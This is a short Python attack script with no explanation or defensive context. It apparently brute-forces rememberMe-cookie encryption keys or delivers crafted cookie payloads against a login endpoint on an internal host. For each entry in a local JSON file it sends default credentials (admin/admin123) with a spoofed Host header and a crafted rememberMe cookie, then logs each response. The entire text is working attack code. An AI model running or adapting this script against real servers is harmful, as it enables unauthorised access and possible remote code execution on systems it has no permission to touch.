import json,http.client,time
D=json.load(open('/tmp/sp.json'))
for x in D:
 try:
  c=http.client.HTTPConnection('10.0.0.7',8088,timeout=8)
  body='username=admin&password=admin123&rememberMe=true'
  c.request('POST','/login',body=body,headers={'Host':'gitee.com','Content-Type':'application/x-www-form-urlencoded','User-Agent':'Mozilla/5.0','Cookie':'rememberMe='+x['cookie']})
  r=c.getresponse();b=r.read(120);c.close()
  print(x['i'],x['key'][:12],r.status,len(b),b[:70],flush=True)
 except Exception as e:print(x['i'],x['key'][:12],'X',type(e).__name__,flush=True)
 time.sleep(.2)
